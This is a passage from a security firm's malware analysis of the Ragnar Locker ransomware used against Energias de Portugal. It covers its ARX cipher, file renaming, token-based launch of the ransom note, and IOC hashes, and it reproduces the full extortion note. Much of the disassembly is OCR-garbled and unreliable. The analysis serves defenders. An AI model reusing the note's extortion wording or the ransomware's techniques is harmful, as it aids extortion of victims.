liebp-35l (st lze1 PE1 aF O
. . OF 0 SF O DF O
:E;ﬁgffﬁi1ePo1nterEx>] B [P
ss:[febp-=il B
ss:[febp-A0] LastError 00000012 (ERROR_NO_MORE_FILES)
LastStatus 80000006 (STATUS_NO_MORE_FILES)
GS D028 FS 0053
ES 002B DS 002B
€S 0023 55 0028
Tebp-3ci reb ST(0) 00000000000000000000 X87r0 Empty 0.000000000000000000
P = ST(1) 00000000000000000000 XB7rl Empty 0.000000000000000000
[<&LockFiles] ST(2) 00000000000000000000 XB7r2 Empty 0.000000000000000000
ST(3) 00000000000000000000 X87r3 Empty 0.000000000000000000
ss:[febp-60il ST(4) 00000000000000000000 XB7r4 Empty 0.000000000000000000
ST(5) 40028000000000000000 XB7r5 Empty &.000000000000000000
[ebp-= Default (stdcall)
1: [espt+4] 77D30290 <kernel32.lstrcathw>
<gMriteriles 2: [esp+8] 77CEF740 <kernel3z.lstrcmpiws
i il K 1 1 i
v | 3: [esp+C]_002E002A
> 4: [esp+10] 00000D02A

The encryption cipher used is based on add-rotate-xor (ARX) operations, appearing to be a
modified version of the Salsa20 stream cipher. The following image demonstrates what very
closely resembles it.
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0D402A22
O0402A25
00402ZA2E
00402AZE
00402A31
004024 4
004024
DD4D‘*"*
00402A3D
00402A40
00402A42
O0402A45
00402A48
00402A4B
O040Z2A4E
00402A51
00402AL 4
00402ZAL G
O0402A5A
00402ALD
00402A60
00402A63
00402A69
00402A6C
0O0402AGE
0040ZA70
0D402AT 6
D0402ZATC
D040ZATE
00402AB1
00402AB8
O0402ABF
00402A91
00402A94
00402A97
00402A99
00402AAD
D040ZAAS
O040ZAA
0040284
00402AAB
O040Z2AAE
0040ZABL

P

cicz o7

3395 G4FFFFFF
8D1C10

C1C3 09

335D B4

895D 14

BasD A4
8D3413

C1C& 0D

33F1

5975 DC

8975 AB
SDOCL1E

BB5D F8

BB75 DO

C1C9 0E

33C8

836D F4 01
594D DB

894D AC

8B4D FC

OFB5 1CFEFFFF
8955 AD

33C0

66:30

BBBD GOFFFFFF
BDBL 22FFFFFF
03F0

BBOCOE

018C05 FOFFFFFF
BB2405 TFOFFFFFF
BBCA

ClES 08

B84E FF

BBCA

889405 20FFFFFF
BaCO 04

C1E9 10

ClEA 18

BBOE

8856 01

B3IF3 40

72 BD

rol edx,7

wor edx,dword ptr ss:[[ebp-3C]]
1ea ebx,dword ptr ds:[eax+edx]
roal ebx,2

wor ebx,dword ptr ss:[[ebp-4cC[]
mov dword ptr ss:[ebp+14],ebx
mov dword ptr ssifebp-SCll, ebx
lea esi,dword ptr ds:[ebx+edx]
rol esi,D

Hor esi,ecx

mov dword ptr ss:[ebp-24],esi
mov dword ptr ss:[[ebp-55],esi
lea ecx,dword ptr ds: [es1+ebx]
mov ebx,dword ptr ss:[[ebp-2]
mov esi,dword ptr ss:[ebp-30]
ror ecx,E

KO BCK,eax

sub dword ptr ss:[[ebp-CJ,1
mov dword ptr ss:[ebp-25],ecx
mov dword ptr ssifebp- 54],ecx
mov ecx,dword ptr ss:[ebp-4]

jne edp. 402885
mov dword ptr ss:[[ebp-s0],edx
KO 2ax,eax

mov ecx,dword ptr ss:[ebp-ac]

Tea esi,dword ptr ss:fiebp-DE]

add esi,eax

mov ecx,dword ptr ds: [esi+ecx]
add dword ptr ssi[ebp+eax-20],ecx
mov edx,dword ptr ss:febp+eax-20]
mov ecx,edx

shr ecx,s

mov byte ptr ds:[esi-1]1,cl

mov ecx,edx

mov byte ptr ss:|[ebp+eax-e0],dl
add eax,4

shr ecx,10

shr edx,15

mov byte ptr ds:[esi],cl

mov byte ptr ds:[esi+1],dl

cmp eax, 40

jk edp.402a70

[ebp-24]

[ebp-30]

[ebp-C]
[ebp-258]

400

L".db"

1L "boot

L". exe"
1L "boot

When file encryption is complete, both cryptographycally random sequence of bytes that
were encrypted by the 2048-bit RSA public key will be appended into the encrypted file. The
file marker RAGNAR is also appended.
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= || 00401884 B8BID 20814000
® || 0040188A 5045 D8
& | 004018ED 6A 00
® | 0040188F 50
® | 00401820 65 00010000
® | 00401895 FF35 04A04000
® | 0040189B 57
® | 0040189C FFD3
& | 0040182E 6A 00
® || 004018A0 5045 D8
L] [][]4[]].8—‘&3 B0
® | 004018 658 00010000
. [][]-1-[]].8 FF35 08A04000
& | 0040184 57
® | 00401E8E0 FFD3
® | 00401BEZ 6A 00
| 00401EBE4 BD45 DB
® | 004018B7 50
® | 00401EBESB 6A 09
® || 0D401BBA BD45 DC
® | 00401L8ED 50
& | 00401BEE 57
® | DD40LBEF FFD3
® | 004018C1 6A 00
& | 004018C3 68 09010000
® | 004018CS5 8A 00
® | 00401BCA 1)
® | 00401BCE 57
® | 004018CC FF15 2C314000
® | 004018D2 FF75 EB
® | 00401805 8A 01
® | 00401BD7 FF15 S5C814000
& | 004018DD 5O
® | 004018DE FF15 60314000
® | 00401EBE4 BBLD OB
® | 00401BE7 57
® | 00401LBES FF15 70304000
® | 00401BEE 837D B4 00
r——--% (| 00401E8F 2 75 30
i ® | 00401EF4 3
1 ® | 004018F5 BD85 SOFBFFFF
0 ® | 004018FB 50
I ® | 00401BFC FF15 B8C304000

mov ebx,dword ptr
Tea eax,dword ptr
push 0O

push eax

push 100

push dword ptr ds:

push edi

€381l =bx

push O

1ea eax,dword ptr
push eax

push 100

push dword ptr ds:

push edi

c€all =bx

push 0O

lea eax,dword ptr
push eax

push 9

lea eax,dword ptr

push eax

push edi

c€all =bx

push 0O

push 109

push O

push esi

push edi

call dword ptr ds:

push dword ptr ss:

push 1

call dword ptr ds:
push eax
call dword ptr ds:

mov ebx,dword ptr
push edi

call dword ptr ds:

ds: [<&writeFilex]
s5: |flebp-2&8]

[404004]

ss:|febp-24]

[=&UnTockFilex]
lebp-15]

[<&GetProcessHeap>]

[=&HeapFree=]
55! |lebp+&j

[=&CToseHandlex=]

cmp dword ptr ss:febp-4Cf,0

jne edp. 401924
push ebx

lea eax,dword ptr
push eax

s5:[febp-4E0]

E2all dword ptr ds:[<&1strcpyis=]

After everything is written into the new file as part of the encryption process, the file will be

moved via MoveFile(), essentially adding it a new extension: .ragnar_E354BDB6

00401902 68 10424000

® [ 004018AF 57
o[ 00401880 FFD3
o[ 00401882 6A 0D
o[ o0a01884 8D45 DS
o[ 00401887 50
o[ o0a01888 64 09
o[ o0401884] 8D45 DC
| 00401880 50
e[ 0040188 57
o[ 0040188F FFD3
e[ o04018c1 6A 0O
o[ 004018C3 seY=020000
e[ o0401scs
[ 004018CA| 55
| 004018CE
| D04018CC FFlS 2C814000
e[ 00401802 FF75 E
| 00401805
| 00401807 Fr1s scar000
[ 00401800
| 004018DE FF15 60814000
o[ 004018E4 g5 @
o[ 0040187
o[ 00401868 FFlS 70804000
| 004018EE 837D B4 00
----- e | 004018F2| ~ 75 30
o[ 004018F4
e[ 004018FE 8DSS SOFEFFFF
| 004018FE 50
o[ 004018FC FF15 SC804000
.
.
.
.
.
.
.
.
3

push edi
€all ebx

push o
ea eax,dword ptr ss:[ebp-25]
push eax
push 3

Tea eax,dword ptr ss:[ebp-24]

A | wide FPU

EAX  D2CAFACO
EBX  DO70E438
ECX  OL1E4aCC
EDX  DO0DODDZ2
EBP  D2CAFF70

LUANNPAAC: \iProgram FiTes\\UNP\\SystemLogs\\UpdatenotiticationPipeline. 001, e, ragnar_e3s4l
L™\\\L\P\\C: \\Program Files\\UNP\\SystemLogs\\UpdateNotificationPipeline.oo1.etl

bush edi ESP  02CAFAAR AL™\\\\PY\C\\Program Files\\UNP\\SystenLogs\\UpdateNotificationPipeline.001. et1”
€all ebx EST 00000001
sh 0 EDI  0000031C L
push 109
usn 0 EIP 0040191 edp.0040191E
prshfes]
push e EFLAGS 00000200

call dwurd ptr ds: [<&unluckF11:>]
push dword ptr ss:lJebp-15]

push 1

call dwnrd ptr ds:[<&GetProcessHeaps]
push ea)

BaTl award ptr ds:[<&HeapFrees]
mav ebx dword pt : [ebp+sl

push e

Bl dword ptr ds: [<&c1useHand1e>]
cmp dword ptr ss:[jebp-4c],0

ine edp 401924

push _ef

Tea eax, awora ptr ss:[febp-480]
push ea

EaTl aword ptr ds:[<&lstrepyws]

push edp. 404210

ZF O PF O AF O
OF 0 SF O DF O
CFo TF1 IF1

LastError 00000000 (ERROR_SUCCESS)
LastStatus COO00D0D (STATUS_TNVALID_PARAMETER)

GS 0028 FS 0053
ES 0028 D3 002B
€S 0023 33 002B

ST(0) 00000000000000000000 X87r0 EMPTy 0.000000000000000000
ST(1) 0000D00O00D00D0000000 X87rl EMPTy 0.000000000000000000
ST(2) 0000D00O00D00D0000D00 x87r2 EMPLY 0.000000000000000000
ST(3) 000000000D00D0000000 X87r3 EMPTY 0.000000000000000000

i 00401907 SDsS SOFEFFFF | 123 eax dword per =z:[eop-E0]

i 00401900 pu ST(4) 000DOOO0000000000DDD X87rd EMPTY 0.000000000000000O0D

i 00401908 FF15 90804000 cul] dwuru ptr ds:[<&1strcatis] ST(51_000000000000D000000DD X87r5 EMOTV 0.0O000DDO0000D0000D

! 00401914

! 00401916 8D85 SOFBFFFF 1ea eax dword ptr ss:[ebp-280] TREdEEE

! 0040191C S0 push e i [esp] 0070£438 L"\{\\Z\\C \\Program Fi1es\\UNP\\SystenLogs\\UpdateNotiticationPipeline. 001, etl

! 00401910 c3 Bush eb 20 [espt4] 02CAFACO L™\\\\P\\C:\\Program Files\\UNP\\SystemLogs\\UpdateNotificationPipeline. 001, . ragnar_E3s4
> FF15 DC804000 call murd ptr ds:[<amoverileExws] v 3: [esp+8] 00000003

j = 5 | #: [esp+C] 00401940 edp.00s01940

5 o . : s ~ ) DD70E438 | L™\\\\7\\C: \\Program F11es\\UNP\\SystemLogs\\UpdateNotiTicationPipeline.001. etl

Wooumpl  Yoump2  WMDump3  ¥hoump4  WWDumps @ watch1  bellocals 7 Struct €| 0ZCAFACO | L™\\\\P\\C: \\Program F11es\\UNPY\SysTemLogs',\UpdateNotiticarionPipeline.001. etl. ragnar_E354BDB6"
== = — T ol Adnnnnna

Finally, after everything is complete, the ransomware will end execution by:

o Retrieving the SessionlD of the console session (the session that is currently attached
to the physical console) via WTSGetActiveConsoleSessionld()

» Opening the current process token via OpenProcessToken() with DesiredAccess of
TOKEN_ALL_ACCESS
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o Creating a new access token that duplicates it via DuplicateTokenEx with
dwDesiredAccess of TOKEN_ALL_ACCESS and TokenType of TokenPrimary

o Setting the console's SessionlID on the new duplicated access token via
SetTokenInformation()

» Creating a process using the new access token via CreateProcessAsUser\W(), starting

notepad.exe with the ransom note file as its argument
o Calling ExitProcess(0)

00403989

FF15 00814000

call dword ptr ds:[<&WTSGetActiveConsoleSessionId>]

. o 2
|| 0040398F B945 AD mov dword ptr ss:|lebp-60J,eax HIdERRED
#| 00403392 8045 DC lea eax,dword ptr ss:[Jebp-24] EAX 0019F098 L"Ca\\Windows'\\sys tem32\\notepad. exe”
e 00403935 50 push eax EBX 0019FA20
e || 00403996 68 FFOL0F00 push FO1FF X B
339 o
: 33:3;;:2 :;15 54814000 ;:;"’I] g::rd ptr ds:[<&GetCurrentProcess>] =53 ATAGEE edp. 00404066
e 00403942 FF15 4C804000 €all dword ptr ds:[<&0penProcessToken>] EBP  OO13FALD
® || 0D303948 8045 DC lea eax,dword ptr ss:|febp-24] ESE  0013D5D4
®| 0040394 50 push eax ESI 00000001
® || 0040394 6A 01 push 1 EDI  FFFFFFFF
® || 004039A] 6A 0D push 0
& || 00403980 6A 00 push 0 EIP  00403A57 edp.00403A57
e || 00403982 68 FFO10F00 push FO1FF
®|| 00403987 FF7S DC push dword ptr ss:[Jebp-24]
e| 004023984 FF1E 3CB04000 €all dword ptr ds:[<eDuplicateTokenEx>] EELSGSPF 2_00}0\2314
®|| 004039C0 6A 04 push 4 SE0 SE D DF O
e || D04039C2 BD45 AD lea eax,dword ptr ss:[ebp-coll
e [ 0o4039cs 50 push eax CFO TF1 IF1
e || 004029CE push C ) ) .
e 00s0z9Cs FF75 DC push dword ptr ss:[[ebp-z40 LastError 00000522 (ERROR_PRIVILEGE_NOT_HELD)
®| 004039CB FF15 48804000 €all dword ptr ds:[<&SetTokenInformation:] LastStatus COO000GL (STATUS_PRIVILEGE_NOT_HELD)
®| 00403901 B8 03000000 mov eax,3
e| 00403906 C785 DCFFFFFF 01{mov dword ptr ss:ebp-Fall,1 GS 002B FS 0053
®|| 004033E0 66:8985 10FFFFFF|mov word ptr ss:[[ebp-Fo,ax ES 0DDZE DS 0028
®|| 004039E7 8085 BBFEFFFF lea eax,dword ptr ss:[[ebp-373] €S 0023 55 0028
|| 004039ED BA TF push 7F
e || 004039EF 50 push eax
|| 0040329F0 C785 EBFEFFFF B4{mov dword ptr ss:[ebp-113],edp. 408684 ST(0) 00000000000000000000 K87F0 EMPTY 0.000000000000000000
e| 0040329Fa FF15 BBE04000 €all dword ptr ds:[<&GetSystemDirectoryiws] SIEL; CIRTTTR TN TITFPeaTsy) il [Ep) S eierein bl pers ]
|| 00403A00 €8 D4BE4000 push edp. 405604 5T(2) 00000000000000000000 XB7r2 Empty 0.000000000000000000
o| 00202805 8085 BBFGFFFF Tea eax,dword ptr s=:[febp-978] ST(3) 00000000000000000000 X87r3 EmMPTY 0.000000000000000000
o 002032808 ) push eax ST(4) 00000000000000000000 x87r4 Empty 0.000000000000000000
® || 00403A0C FF15 90804000 €all dword ptr ds:[<&1strcath=] ST(5) 40028000000000000000 XB7r5 Empty 8.000000000000000000
o || 00403A12 68 10AD4000 push edp. 40A010 ST(6) 3FFDC0O0000000D0D0D0D XB7r6 Empty 0.3750000000000000000
e || 00403A17 8085 20E4FFFF 1Eahea;,dwmrd ptr ss:[Jebp-1BE0] ST(7) 3FFFS000000000000000 x87r7 Empty 1.000000000000000000
®|| 00403A1D 68 FDBE4000 push edp.4086F0
s 00403422 50 push eax ) . x87Tagword FFEF
e || 00403A23 FF15 A4814000 €all dword ptr ds:[<@wsprintfws] XBTTW_0 3 (Empty)  xB7TW_L 3 (Empty)
e [0o403a25 83C4 OC 1add Esp,g 4 I X87TW 2 3 (Emply)  x87TW.3 3 (EMPTY)
: 33:3 E ?[SBS GOFFFFFF psghegg): word ptr ss:|febp-ao] X87TTW_4 3 (Empty) XBTTW_S 3 (Empty)
e[ 0040 8DB5 EOFEFFFF lea eax,dword ptr ss:[febp-1z0] X8TTW_6 3 (Empty)  xB7TW_7 3 (Empty)
e || 0040 50 push eax
e[| 0040 6A 00 push 0 x875tatusword 0100
®| 0040 6A 00 push 0 X87SW_B 0 xBFSW_C3 0O xB7SW_CZ 0
e || 00403A3E 6A 30 push 30 X875W_C1 0 xB7SW_CO 1 xB7SW_ES 0O
®|| 00403A40 6A 00 push 0 X87SW_SF 0 xXBT7SW_P 0 xB7SW_U 0
® || D0403A42 6A 00 push 0 X87SW_O O K87SWZ 0O XB7SWD 0O
® (00403444 6A 00 push o X87SW_I 0 xB87SW_TOP O (STO=Xx87ro)
e || 00403A46 8DB85 Z0E4FFFF lea eax,dword ptr ss:[Jebp-1EEQ]
o || 00403A4C 50 push eax
e | 00403840 8DB5 BBFGFFFF Tea eax,dword ptr ss:[[ebp-275] Default (stdcall)
e || 00403A53 50 push eax 1: [esp] 0DDDDZ7O
®| 00403454 FF75 DC push dword ptr ss:lfebp-z4l 2: [esp+4] DD19F098 L"C:'\‘\Windows''system3z\\notepad.exe"
B FF15 40804000 €all dword ptr ds:[<&CreateProcessAsuserw:-] v | z: [esp+s] oo13DE30 L" C:V\\Users'\Public)\Documents' \RGNR_E354EDEE. txt”
M e By YTt = 4: [esp+C] 000000D0DD
5: [esp+10] 00000000
iy " v m " = &) o
Wyoumpt  @Wpump2  WHoump3  E4Dump4 @4Dumps @ watchl  Iellocals o Stuct 00120508 | 0019F098 | L"C: \\Windows'\\system32\ \notepad. exe"

Address l Hex [AscTT |

[~]

And now for the obligatory ransom note display.

0019050C | 0019DE30 | L™ C:\\users\\Public\\Documents . \RGNR_E354BDB6.TXT"

001305E0] 00000000
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") RGNR_E354BDB6 - Notepad
File Edit Format View Help

HELLO EDP.com !
If you reading this message, then your network was PEMETRATED and all of your files and data has been ENCRYPTED

by RAGNAR_LOCKER !

DO NOT Modify, rename, copy or move any files or you can DAMAGE them and decryption will be impossible.
DO NOT use any third party or public decryption software, it also may damage files.
DO NOT Shutdown or reset your system

There is ONLY OME possible way to get back your files - contact us and pay for our special decryption key |
For your GUARANTEE we will decrypt 2 of your files FOR FREE, as a proof of our capabilities

Don't waste your TIME, the link for contacting us will be deleted if there is no contact made in closest future and you will never restore your DATA.
HOWEVER if you will contact us within 2 day since get penetrated - you can get a very SPECIAL PRICE.

ATTENTION !
We had downloaded more than 1@TB of data from your fileservers and if you don't contact us for payment, we will publish it or sell to interested parties.
Here is just a small part of your files that we have, for a proof (use Tor Browser for open the link) : .onion/?p=171

We gathered the most sensitive and confidential information about your transactions, billing, contracts, clients and partners. And be assure that if you wouldn't pay,
all files and documents would be publicated for everyones view and also we would notify all your clients and partners about this leakage with direct links.
So if you want to avoid such a harm for your reputation, better pay the amount that we asking for.

! HERE IS THE SIMPLE MAMUAL HOW TO GET CONTACT WITH US VIA LIVE CHAT !
RN RN NN NN RN R R RN R RN RN R RN AN

a) Download and install TOR browser from this site : https://torproject.org

b) For contact us via LIVE CHAT open our website : .onion/client/?6bECA2b2AFFFBC1DffB2a0E2aAd468bec@9@3b5e4Ea58ecde3C264bC55¢7389E
c) For visit our NEWS PORTAL with your data, open this website : .onion/?page_id=171

d) If Tor is restricted in your area, use VPN

When you open LIVE CHAT website follow rules :
Follow the instructions on the website.

At the top you will find CHAT tab.
Send your message there and wait for response (we are not online 24/7, So you have to wait for your turn).

Conclusion

From the thorough analysis of the Ragnar Locker ransomware that left a specifically targeted
ransom note to Energias de Portugal, a few things can therefore be concluded. First, it is
entirely obvious that no inside or outside world connections are attempted by the
ransomware itself, proving that any stolen files must have had to be stolen and exfiltrated
from their network before ransomware execution by the attackers. The unpacked executable
has a Time Date Stamp (compilation date) of "Monday, 06.04.2020 19:57:20 UTC", which is
7 days earlier than that of actual deployment, possibly hinting that the perpetrators had
access into EDP's networks since at least that specific date.

The ransomware does not ship any anti-debugging or anti-VM techniques, nor does it really
do much in order to thwart or even slow down analysis from unintended prying eyes. Many of
the actions performed by the ransomware would require SYSTEM privileges, even though it
does not contain any UAC "bypassing" capabilities (note the double quotes; UAC is not a
security boundary). However, since it has been manually executed by the attackers who
must have had prior access, such permissions could be easily identified (and possibly
obtained) before deployment. It is the actual definition of ransomware, doing no more and no
less. If the default locale of the systems where the ransomware is run has a specific set of
possible settings, the process immediatly terminates.

In theory, the perpetrators can possess file decryption capabilities, as the cryptographycally
secure data used to then derive the symmetric key and nonce are appended to the newly
encrypted files, in encrypted form, using the 2048-bit RSA public key that is embedded in the
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binary (decrypted at runtime only). The ransomware could have most probably been
detected either via static analysis or at runtime as it were executing due to its heavy use of
seemingly malicious WinAPIs.

We sincerely hope that you have enjoyed our deep dive into the technical side of the final
stages of the attack.

Cheers and until next time,
Blaze Information Security

I0C Hashes (SHA256)

Packed Sample:
68eb2d2d7866775d6bf106a914281491d23769a9eda88fc078328150b8432bb3

Unpacked Sample:
1de475e958d7a49ebf4dc342f772781a97ae49c834d9d7235546737150c56a9¢
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